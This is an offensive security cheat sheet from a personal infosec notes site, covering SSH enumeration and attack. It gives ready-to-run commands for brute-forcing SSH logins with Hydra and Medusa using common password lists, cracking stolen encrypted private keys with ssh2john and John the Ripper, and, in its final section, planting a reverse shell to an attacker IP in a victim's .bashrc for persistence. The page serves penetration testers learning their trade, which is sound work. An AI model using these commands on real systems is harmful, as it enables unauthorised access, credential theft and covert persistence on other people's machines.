> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/enumeration/ssh.md).

# SSH

SSH (Secure Shell) is a protocol used for secure remote administration and command execution. However, misconfigurations, weak authentication mechanisms, or support for legacy features can introduce security risks.

***

### Common SSH Ports

| Port | Description             |
| ---- | ----------------------- |
| 22   | Default SSH port        |
| 2222 | Common alternative port |

***

### Banner Grabbing

Manual banner grabbing can reveal the SSH version and server implementation, which may help in identifying potential vulnerabilities.

```bash
nc -vv <ip> 22
telnet <ip> 22
```

Example output:

```
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.7
```

***

### Nmap Scripts for SSH Enumeration

Use the following Nmap command to enumerate authentication methods, supported algorithms, and SSH key information:

```bash
nmap -p 22 --script=ssh-auth-methods,ssh-brute,ssh2-enum-algos,ssh-hostkey,ssh-publickey-acceptance <ip>
```

| NSE Script                 | Description                                                |
| -------------------------- | ---------------------------------------------------------- |
| `ssh-auth-methods`         | Lists available authentication methods                     |
| `ssh-brute`                | Attempts SSH login using brute-force attack                |
| `ssh2-enum-algos`          | Enumerates supported encryption, KEX, and MAC algorithms   |
| `ssh-hostkey`              | Retrieves SSH host keys and fingerprints                   |
| `ssh-publickey-acceptance` | Checks if public key authentication is accepted            |
| `sshv1`                    | Detects support for deprecated and insecure SSHv1 protocol |
| `ssh-run`                  | Executes commands with valid SSH credentials               |

***

### Brute-Force Attacks

#### Common Wordlists

* `/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt`
* `/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt`
* `/usr/share/seclists/Usernames/top-usernames-shortlist.txt`
* `/usr/share/wordlists/rockyou.txt`

#### Hydra Examples

```bash
hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt <ip> ssh -t 4
hydra -L /opt/username.txt -P /opt/password.txt <ip> ssh -t 4
```

#### Medusa Examples

```bash
medusa -u root -p password123 -h <ip> -M ssh
medusa -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p root -h <ip> -M ssh
```

***

### Connecting to Legacy SSH Servers

Older servers may support deprecated or insecure algorithms that are no longer enabled by default in modern clients. You can still connect by explicitly enabling those algorithms:

```bash
ssh -o HostKeyAlgorithms=+ssh-dss <user>@<ip>
ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss <user>@<ip>
```

***

### SSH Private Key Reuse & Matching

If a private key (`id_rsa`) is obtained, it may match known public keys, especially from vulnerable key generations.

* Public Key Repository: [Weak Keys (g0tmi1k)](https://github.com/g0tmi1k/debian-ssh/tree/master/common_keys)

To match against a set of public keys:

```bash
grep -l "ssh-rsa AAAAB3..." *.pub
```

***

### Key Brute-Forcing with `sshame`

**sshame** is a tool to detect SSH key reuse and match private keys against known public keys.

* Repository: <https://github.com/HynekPetrak/sshame>

#### Installation & Usage

```bash
pip3 install sshame
sshame --key /path/to/id_rsa
```

***

### Cracking Encrypted SSH Private Keys

If the private key requires a password, it can be cracked using `john` and `ssh2john`.

#### Step 1: Convert the Key with `ssh2john`

```bash
ssh2john id_rsa > hash
```

#### Step 2: Crack with John the Ripper

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Once cracked:

```bash
ssh -i id_rsa <user>@<ip>
```

***

### **Jailbreak Bashrc**&#x20;

If SSH access is available but limited (unstable shell or limited commands), `.bashrc` can be used to trigger reverse shells or establish persistence.

* Upload your modified .bashrc via SCP:

```bash
scp custom_bashrc <user>@<ip>:/home/<user>/.bashrc
```

* Inject a Reverse Shell

```bash
ssh <user>@<ip> 'echo "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1" >> ~/.bashrc'
```